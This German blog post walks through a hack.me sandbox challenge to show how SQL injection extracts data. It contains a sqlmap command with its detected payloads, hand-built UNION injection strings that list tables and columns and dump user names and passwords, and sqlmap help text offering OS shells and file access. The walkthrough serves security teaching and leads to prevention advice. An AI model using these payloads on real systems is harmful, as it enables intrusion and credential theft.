Machen wir uns nichts vor, viele Angriffe passieren immer noch über die gute alte SQL Injection. Aber wie extrahiert ein Angreifer eigentlich nun wirklich Daten?
Um die SQL Injection näher zu zeigen, beziehe ich mich auf einen Teil einer hack.me Challenge.
Wer hack.me noch nicht kennt, sollte sie unbedingt ausprobieren. elearnsecurity hat eine Seite ins Leben gerufen, auf der man PHP-Code mit Schwachstellen hochladen kann. Jeder Besucher kann sich seine eigene Sandbox starten und darin den Code angreifen.
Aber zurück zur Challenge. Hierbei geht es im Wesentlichen um eine Brauerei. Überspringen wir den ersten Teil, welcher eine „Local File Inclusion“ ist, kommen wir an der URL beer.php
raus.
Hierbei kann man sich verschiedene Biere genauer anschauen. Jedes Bier wird über die URL /beer.php?id=<ID>
aufgerufen, wobei die ID eine beliebige Zahl sein kann. Da ich ja schon sagte, dass es sich hierbei um eine SQL Injection handelt, bleibt uns nur der Parameter id
übrig.
Grundsätzlich kann man jetzt das Ganze in zwei Methoden untergliedern:
- SQLMap
- SQL Injection von Hand
SQLMap
Das ist die Hau-Drauf-Methode. SQLMap ist ein Tool, welches sämtliche Varianten von SQL Injections durchprobiert und versucht, Daten zu extrahieren. Natürlich ist dieses Tool wesentlich schneller als man selber und kommt auch meist schneller zu einem Ergebnis. Trotzdem ist es keine eierlegende Wollmilchsau und man sollte seine Ergebnisse mit Vorsicht genießen und sie verifizieren.
Man startet SQLMap mit folgendem Befehl:
$ sqlmap --cookie="PHPSESSID=<value>" "http://<server>.hack.me/beer.php?id=1" -a --dbms=MySQL
SQLMap wird an dieser Stelle mehrere Injection Points finden. Hierbei sind unter anderem:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 6528=6528 AND 'Xrzt'='Xrzt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))VEkS) AND 'EYyJ'='EYyJ
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71716b6b71,0x42794f7544496575495347724c6a4676424d6a50434849585867774f474575575669456c77634d6f,0x716a7a6271),NULL-- -
Zudem bewirkt der Parameter -a
, dass er die komplette Datenbank abspeichert.
Per Hand
Wer kein SQLMap zur Verfügung hat, kann auch einfach die gute alte Methode verwenden und selber Hand anlegen.
Durch die Eingabe eines einfachen Anführungszeichen bekommen wir folgende Fehlermeldung, welche uns eine vorhande SQL Injection bestätigt.
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\inetpub\wwwroot\coliseum\client\sandbox\43216-101303\BODY\inner\beer.php on line 31
Durch weiteres Probieren kommt man darauf, dass die Eingabe ' union select 1,2,'3
eine gewollte Ausgabe, ohne Fehlermeldung, liefert.
Wir wissen nun zwei Dinge:
- 2 und 3 sind für Ausgaben gut
- Wir brauchen am Ende einen String mit einem einfachen Anführungszeichen am Anfang und keinem Anführungszeichen am Ende.
Wenn man sich ein wenig mit SQL auskennt, kann man sich aus den Bedingungen folgenden SQL-Befehl zusammenbauen, um alle Tabellennamen auszugeben:
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema
Das group_concat
bewirkt hierbei, dass die Namen zusammengefügt und als ein String ausgegeben werden.
Die Datenbank hat also zwei Tabellen. Da wir das Passwort von Kelly Green holen wollen, ist die Datenbank users
interessant.
Wenn wir unseren SQL Exploit ein wenig anpassen, bekommen wir auch alle Columns der Tabelle users
:
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema != 'mysql' AND table_schema != 'information_schema
Wir wollen das Passwort von Kelly Green aus der Tabelle users
haben, was wir mit folgendem SQL-Befehl erreichen.
' UNION SELECT 1,2,group_concat(concat(name,' - ',surname,' - ',password),'<br />') FROM users WHERE name='Kelly' and surname='Green
Alternativ können auch einfach alle Benutzer ausgegeben werden, wenn man die Where-Statements weglässt und ein einfaches where 1='1
aufgrund des Anführungszeichens hinzufügt.
Und dann?
Daten zu extrahieren ist nicht das einzige, was man mit einer SQL Injection anstellen kann. Hierbei möchte ich nochmal auf SQLMap verweisen, was auch ein Datenbank-Takeover möglich macht.
Die List ist lang, weshalb ich sie hier auch nur verkürzt einbinden möchte. Am besten ist aber, man liest sich mal die Feature-Liste von SQLMap in deren Wiki durch.
sqlmap -hh
-> % sqlmap -hh
___
__H__
___ ___[(]_____ ___ ___ {1.2.2#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
[...]
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
[...]
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
[...]
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
[...]
Hierbei wird nichts ausgelassen und es kann in manchen Konfigurationen sogar zu einer Komprimittierung auf Betriebssystemebene kommen.
Fazit
SQL Injections sind keine kleine Lücke. Sie tragen im Wesentlichen zu einer kompletten Übernahme des Servers bei. Im einfachsten Fall sind Ihre Daten weg. Sie sind aber bekannt und es gibt Möglichkeiten, vor ihrem Auftreten zu verhindern.
Falls Sie diese noch nicht kennen, können sie sie gerne auch in unserem ersten Artikel zu SQL Injections nochmal überfliegen: SQL-Injection – Was ist das und wie vermeide ich es?